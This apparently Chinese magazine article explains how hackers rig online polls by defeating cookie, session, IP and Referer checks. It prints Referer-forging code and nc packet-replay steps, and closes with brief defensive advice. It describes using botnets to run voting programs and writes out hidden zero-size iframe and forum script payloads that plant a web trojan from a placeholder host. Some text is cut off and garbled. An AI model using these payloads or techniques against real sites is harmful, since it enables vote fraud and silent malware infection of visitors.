内幕曝光!黑客玩弄网络投票于股掌
网络安全
现在各种选秀盛行,在海选阶段,举办人往往采用网络投票的方式聚集人气。本来,网络投票的票数的统计和显示完全由软件控制,无须人工参与,在一定程度上能够保证投票的公正性。可是大多数网络投票系统本身的技术含量并不高,对于连续投票的验证能力薄弱。让黑客可以对投票结果进行作弊,轻易操纵投票结果。那么,黑客是如何突破各种各样的网络投票系统的,又是如何实现无限制投票的呢?有没有什么防范措施呢?
黑客操纵投票步骤
网络投票随处可见,但是投票系统技术含量低,极易被黑客找到漏洞,从而操纵网络投票结果。那么黑客是如何操纵投票的呢?通常情况下,他们会有以下几个步骤。
第一步:如果没有发现网站漏洞,则考虑从投票系统上突破。黑客找到网络投票系统采用的验证方法,并根据投票验证系统的漏洞制定不同的突破手段。
第二步:进行突破验证系统实验,如果成功,则开始编写相应的批量投票程序。
第三步:将编写好的程序发布到黑客的肉鸡上,通过僵尸网络对网络投票结果进行操控。
以上是黑客在操纵网络投票时,通常采取的一些步骤。从这些步骤中,我们可以发现,黑客不仅是在自己的主机上进行操作,还利用他们所控制的僵尸网络对投票进行操纵,这不但保护了黑客自己,还为网络管理员恢复投票结果增加极大的障碍。
为何黑客屡屡得逞
在所有的网络投票活动中,人们最担心的就是有人作弊,不断地进行投票。为了防止作弊,管理员会在网络投票系统中采用一种或几种验证方式。但是这些验证手段都存在各种缺陷,导致黑客屡屡得逞。以下就是现在流行的验证方法以及它们的缺陷。
Cookies验证法
在投第1票成功后,投票系统会将投票成功的信息保存在本地的Cookies文件中,并且在Cookies中记录投票成功的时间,同时在软件中设定1天内不准再次投票。
如果投票者马上再次投票,软件会读取保存在Cookies信息中的投票成功时间,并与服务器中的时间比对,如果符合拒绝条件,则投票不成功。
突破Cookies验证法
删除Cookies、拦截Cookies适合于突破采用Cookies验证法的投票系统。投票者在投票系统上成功投票后,会在本机的C:\Documents and Settings\用户名\Cookies文件夹下生成一个Cookies文件,这个文件中包含了投票成功的时间等信息。
当第2次投票时,投票系统会首先检测Cookies文件夹中有没有这个Cookies文件,如果没有,则认为这位用户是第1次投票,可以成功投票。
因此黑客在投票成功后进入系统的Cookies文件夹,将这个投票成功后生成的Cookies文件删除(也可以在IE浏览器的工具→Internet选项→常规中点击“删除Cookies”按钮),这样就可以马上再次投票,Cookies验证也就这样轻易的被破解了。
当然,如果黑客修改IE属性,使之不保存Cookies文件,那么投票系统同样检测不到Cookies,突破效果也是一样的。
Session验证法
原理同Cookies验证法, 但是Session是保存在服务器上的。
小知识:什么是Session?
在这里,Session特指在访问网站时,浏览器和服务器建立的一次会话连接。
突破Session验证法
关闭浏览器,再重新打开浏览器,这种方法适合突破采用Session验证法的投票系统。由于关了浏览器后,Session也会清空,所以投票系统会认为这是用户第一次投票,可以成功投票。
IP地址验证法
在投第1票成功后,投票系统自动记录下投票者的IP地址,存入数据库,并且设定该IP地址1天内不准再次投票。
如果投票者再次投票,投票系统会将投票者这次投票时使用的IP地址与数据库中的IP地址进行比对,如果存在,则投票不成功。
突破IP地址验证法
动态IP,网络代理,这种方法适合突破采用IP地址验证方式的投票系统。对于使用ADSL拨号上网的用户来说,由于每次拨号上网使用的IP都不同,所以可以采取投一次票,断开一次网络连接,再拨一次号的办法。
另外,使用代理对投票系统进行投票后,投票系统记录下的IP地址是代理的,而不是我们自己的IP地址。如果想再次投票,只要更换一个代理即可。由于使用代理投票留下的IP地址都不一样,对于投票系统而言,这是属于正常的投票行为,因此是不会对我们的投票进行拒绝的。
Referer验证法
在投票者投票时,投票系统要验证Referer,判断是否是从指定网站上进行的投票,如果是来自站外的投票,则投票不成功。
小知识:什么是Referer?
是HTTP协议,在开发Web程序的时候,有时我们需要知道用户是从什么页面链接过来的,这就用到了Referer。它主要用于防止盗链和验证网络表单的安全性。
突破Referer验证法
伪造Referer这种方法适合突破采用Referer验证方式的投票系统。黑客会编写个简单的小程序来伪造Referer提交。伪造Referer的核心代码如下:
set http=server.createobject(“MSXML 2.XMLHTTP”)
Http.open “GET”,“http://www.xxx.com/cgi-bin/samvote?id_us er=xxx”,false
Http.setRequestHeader “Referer”,“htt p://www.xxx.com/”
Http.send()
其中关键一句是Http.setRequestHeader “Referer”,“http://www.xxx.com/” ,“http://www.xxx.com/”就是我们伪造的Referer。如此一来,站外投票的限制就这样被轻易突破了。
利用僵尸网络操纵投票
以上验证方法虽然都可以突破,但效率较低,达不到黑客操纵投票的目的。因此黑客会利用一些软件或者自编一些程序,再利用僵尸网络进行海量投票,达到提高效率、操纵投票的目的。
方法一:使用按键精灵(图1)来录制“删除Cookies→投票”的鼠标动作或者“拨号→投票→断网”的鼠标动作来进行自动投票。

方法二:使用自动更换代理IP地址的软件来进行自动网络代理投票。
方法三:使用本地提交数据包的原理进行投票。在投票系统上进行投票,实际上是向投票系统发送了一个数据包,但是在IE中进行操作的话,从打开页面→选择投票对象→发送,这个过程会占用很多时间,影响投票的效率。如果能离开IE,直接发送数据包给投票系统,那么这个速度就要快得多了,也就能实现操纵投票的目的。
既然可以利用本地提交数据包的原理来进行投票,那么这个数据包该如何获取,又该如何提交呢?获取数据包可以使用网络数据包监视工具WSockExpert。首先用IE打开投票网站,然后运行WSockExpert,点击工具栏上的“打开”按钮,在弹出的进程列表中双击IE,并选中投票网站的进程,点击“打开”。
回到IE的投票网站页面,选择一项进行投票。返回WSockExpert,可以看到程序已经捕捉到了很多数据包,在这些数据包中,找到一个以“POST”开头的数据包,这就是本机发送给投票系统的数据包。
把数据包复制进文本文件a.txt。使用“nc -vv www.xxx.com 80 方法四:自己编写程序,配合肉鸡、网页木马等手段进行自动投票。编写程序依据的是本地提交数据包进行投票的原理(投票软件下载地址:http://download.cpcw.com)。将程序上传至个人网站空间,如果黑客有大量肉鸡,比如灰鸽子的肉鸡,他会利用灰鸽子的命令广播,让肉鸡自动下载运行并进行投票(图2)。 黑客也会编写好网页木马,上传到个人网站空间,通过<iframe width=“0” height=“0” src=“http:// xxx.xxx.com/muma.htm”></iframe>的方式在其他网站上种植木马,或通过发送含有[img=0,0]j avasc ript:w indow.do cument.wr ite(‘%3CIframe%20src%3Dhttp%3A//xxx.xxx.com/muma.htm%20width%3D0%20height%3D0%3E%3C/iframe%3E’)[/img]和<iframe width=“0” height=“0” src=“http:// xxx.xxx.com/muma.htm”></iframe>的帖子在论坛上传播木马,从而使浏览了被种植了木马的网站或论坛的人们帮他投票。 虽然黑客利用各种技术操纵网络投票,但是网络管理员仍然可以使用多种方法为黑客设置障碍,让他根本无法下手。 作为一个网站,首先要堵上服务器的漏洞,特别是SQL注入漏洞。因为一旦网站服务器被黑客攻破的话,黑客就可以直接修改数据库中的统计票数了。这种案例发生过不少,值得管理员警惕。 其次,在投票系统中使用多种验证方式,特别是使用复杂的图形验证码、身份验证等验证方式,即使我们使用的验证方法都失败了,但是因为使用了复杂的验证方式,为黑客编写大规模投票带来很大的障碍。这也从侧面保证了网络投票的公正性。
防范黑客操纵投票